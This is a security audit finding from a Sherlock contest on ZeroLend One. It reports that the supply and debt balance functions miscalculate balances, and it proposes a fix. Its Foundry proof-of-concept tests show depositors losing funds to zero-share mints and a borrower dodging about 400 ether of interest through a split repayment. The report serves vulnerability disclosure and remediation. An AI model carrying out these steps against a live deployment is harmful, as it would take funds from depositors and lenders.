Dancing Cherry Yak

High

# Incorrect Supply and Debt Balance Calculation in PositionBalanceConfiguration

### Summary

The logic implemented in the `PositionBalanceConfiguration::getSupplyBalance`  and `PositionBalanceConfiguration::getDebtBalance` functions leads to an incorrect calculation.

### Root Cause

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L126C3-L130C1

  In this function,  we calculate 

```solidity
   function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
    uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
    return self.supplyShares + increase;
  }
```

The same logic is used to calculate user debt

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L137C3-L140C4

### PoC

run in  `contracts/test/forge/core/vaults/ERC4626Test.sol`

```solidity

 function mintShares(uint256 assets, address depositor) public returns(uint256 shares) {
    loanToken.mint(depositor, assets); 
    vm.startPrank(depositor);
    loanToken.approve(address(vault), assets);
    shares = vault.deposit(assets, depositor);
    vm.stopPrank();
  }

  function testMiscalculationOfSupplyBalance() public {
    
    address alice = vm.addr(100);
    mintShares(9 ether, alice);
    
    address bob = vm.addr(101);
    mintShares(9 ether, bob);

    address tom = vm.addr(102);
    collateralToken.mint(tom, 18 ether);
    vm.startPrank(tom);
    collateralToken.approve(address(allMarkets[0]), 18 ether);
    allMarkets[0].supplySimple(address(collateralToken), tom, 18 ether, 1);
    allMarkets[0].borrowSimple(address(loanToken), tom, 12 ether , 1);

    // We advance the time by 10,000 days to accumulate more funds in the pool, the goal is to make new deposit in vault lead to 0 shares.   
   // even with 10 days in advance we have the same impact on the calculation
    vm.warp(block.timestamp + 10_000 days);
    loanToken.mint(tom, 460 ether);
    loanToken.approve(address(allMarkets[0]), UINT256_MAX);
    allMarkets[0].repaySimple(address(loanToken), UINT256_MAX, 1);
    vm.stopPrank();

    // total asset of vault
    console.log("Total asset of vault in market after repayement : ",vault.totalAssets());
    

    vm.prank(bob);
    // bob redeem his share and correctly get his deposit + interest
    vault.redeem(9 ether, bob, bob);
    console.log("Bob balance after redeem his shares   : ", loanToken.balanceOf(bob));

    // after bob redeem his share, getSupplyBalance return 9 ether
    console.log("total assets of vault in market after bob redeem : ", vault.totalAssets());


    vm.prank(alice);
    // alice should get at least the same amount as bob but she actually get 9 ether
    vault.redeem(9 ether, alice, alice);
    console.log("Alice balance after redeem his shares : ", loanToken.balanceOf(alice)); 

    // since last totalAssets is 9 ether if alice redeem 9 ether new total balance would be 0
    // but actually it's more than 5 ether
    assertGt(vault.totalAssets(), 5 ether);
    console.log("total assets of vault in market after alice redeem : ", vault.totalAssets());


    //users who deposit less than 6 ether in vault lose all they fund 
    // total asset > 5 ether, while total shares is 0 
    address user2 = vm.addr(105);
    mintShares(5 ether, user2);
    assertEq(vault.balanceOf(user2), 0);
    assertEq(vault.totalSupply(), 0);
    
    address user1 = vm.addr(104);
    mintShares(1 ether, user1);
    assertEq(vault.balanceOf(user1), 0);
    assertEq(vault.totalSupply(), 0);
    
    console.log("total assets in vault : ", vault.totalAssets());

  }


   function testBypassDebtInterest() public {
    
    address alice = vm.addr(100);
    mintShares(9 ether, alice);
    
    address bob = vm.addr(101);
    mintShares(9 ether, bob);

    address tom = vm.addr(102);
    collateralToken.mint(tom, 18 ether);
    vm.startPrank(tom);
    collateralToken.approve(address(allMarkets[0]), 18 ether);
    allMarkets[0].supplySimple(address(collateralToken), tom, 18 ether, 1);
    allMarkets[0].borrowSimple(address(loanToken), tom, 12 ether , 1);

    // We advance the time by 10,000 days to accumulate more funds in the pool


    vm.warp(block.timestamp + 10_000 days);
    loanToken.mint(tom, 1 ether);
    loanToken.approve(address(allMarkets[0]), UINT256_MAX);
    vm.expectRevert();
    // this won't work since tom need at least 450 ether to repay interest
    allMarkets[0].repaySimple(address(loanToken), UINT256_MAX, 1);
    
    // repayment should work
    allMarkets[0].repaySimple(address(loanToken), 1 ether, 1);
    allMarkets[0].repaySimple(address(loanToken), UINT256_MAX, 1);
    // we bypass at least 400 ether in interest
    console.log("Total balance of  after repayement : ",loanToken.balanceOf(tom));
    vm.stopPrank();

  }
```

### Output

![Screenshot from 2024-09-06 18-49-52](https://github.com/user-attachments/assets/3ab6e015-ff42-4520-a606-96b9414ad443)



### Impact

This issue compromises the accuracy of supply and debt balance calculations, putting the entire protocol at risk.


* The incorrect logic in the `getSupplyBalance` and `getDebtBalance` functions results in miscalculating user balances, which directly affects vault operations.

* As demonstrated, users who deposit small amounts can lose all their funds  (vault totalShares is 0 while a large amount of asset is return by pool). 

* Vault user won't be able to claim their revenue 

* In the second test (`testBypassDebtInterest`), the faulty calculations allow users to bypass substantial interest repayments.

### Mitigation

Replace the calculation in the `getSupplyBalance` function with a simplified formula

```solidity
function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
    return self.supplyShares.rayMul(index);
  }
```
Comment out the assertion and rerun the PoC.

![Screenshot from 2024-09-06 19-03-25](https://github.com/user-attachments/assets/94517bbd-071d-4acd-88de-f7e1518902cc)

The report also highlights a donation attack stemming from vault balance manipulation within the pool. To address this, we can implement a check that reverts deposits into the vault if they result in 0 shares.

As we can see there is still 4 assets  and 0 shares in vault, that impact the shares calculation

* user2 deposit  5 ether and get 10**18 in shares
* user1 deposit 1 ether and get  2 * 10**17 shares


